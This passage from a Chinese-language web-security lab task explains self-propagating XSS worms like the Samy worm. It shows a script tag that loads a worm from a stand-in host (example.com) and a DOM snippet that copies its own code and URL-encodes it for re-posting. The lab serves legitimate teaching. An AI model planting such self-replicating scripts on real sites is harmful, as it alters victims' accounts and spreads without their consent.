要成为真正的蠕虫,恶意 JavaScript 程序应该能够自动传播。每当一个用户查看受感染者的个人资料时,不仅这个用户的个人资料会被修改,蠕虫程序还会拷贝到该用户的个人资料中,使得这个用户也成为了蠕虫的携带者。这样,查看受感染个人资料的人越多,蠕虫传播得就越快。这与 Samy 蠕虫的机制相同:在 2005 年 10 月 4 日发布后的 20 小时内,超过一百万用户受到影响,使 Samy 成为当时历史上传播速度最快的病毒之一。
能够实现这一功能的 JavaScript 代码被称为"自我传播跨站脚本攻击蠕虫" 。在这个任务中,你需要实现这样一个蠕虫,它不仅会修改受害者的个人资料,并将用户 Samy 添加为受害者好友,还会将自身复制到受害者的个人资料中,使受害者变成一个攻击者。
为了实现自我传播,在恶意 JavaScript 程序修改受害者个人资料时应该将其自身复制到受害者的个人资料中。有几种方法可以实现这一点,我们讨论其中两种常见的方法。
链接方法: 如果蠕虫是通过 <script> 标签的 src 属性来下载的,那么编写自我传播蠕虫会容易得多。我们已在任务1中讨论了 src 属性,并给出了一个例子。蠕虫可以简单地将以下 <script> 标签复制到受害者的个人资料中就可以了。
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
DOM方法:如果整个JavaScript程序(即蠕虫)被嵌入在受感染的个人资料中,为了传播蠕虫到另一个个人资料,蠕虫代码可以使用 DOM API 从网页中找到其自身的代码。下面给出一个使用 DOM API 的例子。这段代码会获取自身代码的一个副本,并在警告窗口中显示它:
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; 🅰
var jsCode = document.getElementById("worm").innerHTML; 🅱
var tailTag = "</" + "script>"; 🅲
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); 🅳
alert(jsCode);
</script>
需要注意的是,第 🅱 行仅提供代码的内部部分,并未包含周围的 <script> 标签。我们只需要添加开始标签 <script id="worm">(行 🅰)和结束标签 </script>(行 🅲),以形成一个完整的恶意代码副本。
当 HTTP POST 请求里的 Content-Type 被设置为 application/x-www-form-urlencoded 时, 数据也应进行编码。编码方案称为 URL encoding,它将数据中的非字母数字字符替换为百分号和两位十六进制数字表示的 ASCII 码。行 🅳 中的 encodeURIComponent() 函数用于对字符串进行 URL 编码。
注意事项: 在本次实验中,你可以尝试使用链接方法和 DOM 方法两种方式,但 DOM 方法是必须做的,因为它更具挑战性且不依赖于外部 JavaScript 代码。